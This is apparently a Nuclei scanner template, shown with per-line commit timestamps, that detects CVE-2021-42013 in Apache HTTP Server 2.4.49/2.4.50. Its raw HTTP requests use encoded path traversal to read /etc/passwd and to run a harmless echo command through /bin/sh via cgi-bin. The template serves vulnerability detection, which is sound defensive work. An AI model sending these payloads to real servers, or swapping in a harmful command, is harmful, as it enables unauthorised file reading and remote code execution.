2024-02-15 09:42:56 +00:00
id : CVE-2021-42013
2021-10-07 18:17:29 +00:00
info :
name : Apache 2.4.49/2.4.50 - Path Traversal and Remote Code Execution
2022-08-25 07:59:52 +00:00
author : nvn1729,0xd0ff9,666asd
2021-10-07 18:17:29 +00:00
severity : critical
2022-04-25 14:35:07 +00:00
description : |
A flaw was found in a change made to path normalization in Apache HTTP Server 2.4.49 and 2.4.50. An attacker could use a path traversal attack to map URLs to files outside the expected document root. If files outside of the document root are not protected by "require all denied" these requests can succeed. Additionally, this flaw could leak the source of interpreted files like CGI scripts. In certain configurations, for instance if mod_cgi is enabled, this flaw can lead to remote code execution. This issue only affects Apache 2.4.49 and 2.4.50 and not earlier versions. Note - CVE-2021-42013 is due to an incomplete fix for the original vulnerability CVE-2021-41773.
2023-09-27 15:51:13 +00:00
impact : |
Successful exploitation of this vulnerability could allow an attacker to execute arbitrary code and gain unauthorized access to sensitive information.
2023-09-06 12:09:01 +00:00
remediation : Upgrade to Apache HTTP Server 2.4.51 or later.
2021-10-07 18:17:29 +00:00
reference :
2022-02-28 14:09:26 +00:00
- https://httpd.apache.org/security/vulnerabilities_24.html
2021-10-07 18:17:29 +00:00
- https://github.com/apache/httpd/commit/5c385f2b6c8352e2ca0665e66af022d6e936db6d
- https://nvd.nist.gov/vuln/detail/CVE-2021-42013
- https://twitter.com/itsecurityco/status/1446136957117943815
2023-07-11 19:49:27 +00:00
- http://jvn.jp/en/jp/JVN51106450/index.html
2021-10-17 02:21:14 +00:00
classification :
cvss-metrics : CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
2022-04-22 10:38:41 +00:00
cvss-score : 9.8
2023-07-11 19:49:27 +00:00
cve-id : "CVE-2021-42013"
2021-10-17 02:21:14 +00:00
cwe-id : CWE-22
2024-01-14 13:49:27 +00:00
epss-score : 0.97287
epss-percentile : 0.99841
2023-09-06 12:09:01 +00:00
cpe : cpe:2.3:a:apache:http_server:2.4.49:*:*:*:*:*:*:*
2022-08-25 07:59:52 +00:00
metadata :
2023-06-04 08:13:42 +00:00
verified : true
2023-09-06 12:09:01 +00:00
max-request : 3
2023-07-11 19:49:27 +00:00
vendor : apache
product : http_server
2024-01-14 09:21:50 +00:00
tags : cve2021,cve,lfi,apache,rce,misconfig,traversal,kev
2022-08-25 07:59:52 +00:00
variables :
2024-02-15 09:42:56 +00:00
cmd : "echo 31024-1202-EVC | rev"
2022-08-25 07:59:52 +00:00
2023-04-27 04:28:59 +00:00
http :
2021-10-07 18:17:29 +00:00
- raw :
- |+
2022-08-23 07:30:32 +00:00
GET /icons/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/etc/passwd HTTP/1.1
2021-10-07 18:17:29 +00:00
Host : {{Hostname}}
Origin : {{BaseURL}}
2022-08-19 09:34:25 +00:00
2022-08-18 15:02:09 +00:00
- |+
GET /icons/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/etc/passwd HTTP/1.1
Host : {{Hostname}}
Origin : {{BaseURL}}
2021-10-07 18:17:29 +00:00
2021-10-10 00:30:43 +00:00
- |+
POST /cgi-bin/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/bin/sh HTTP/1.1
Host : {{Hostname}}
Origin : {{BaseURL}}
Content-Type : application/x-www-form-urlencoded
2022-09-15 11:17:27 +00:00
echo Content-Type : text/plain; echo; {{cmd}}
2021-10-10 00:30:43 +00:00
2022-08-25 07:59:52 +00:00
stop-at-first-match : true
2021-10-07 18:17:29 +00:00
unsafe : true
2023-07-11 19:49:27 +00:00
2021-10-10 00:30:43 +00:00
matchers-condition : or
2021-10-07 18:17:29 +00:00
matchers :
2021-10-10 00:30:43 +00:00
- type : word
name : RCE
words :
2022-01-04 19:34:16 +00:00
- "CVE-2021-42013"
2023-07-11 19:49:27 +00:00
- type : regex
name : LFI
regex :
- "root:.*:0:0:"
2024-02-15 09:49:20 +00:00
# digest: 490a0046304402207470f1e0707171ed23b51282f56448b47cde756e37792253a19e6abc7c6a2b2b02203d6616b33eca925f272433a727bd685d8173454004fe09a7a6cdedc6daffb2a6:922c64590222798bb761d5b6d8e72950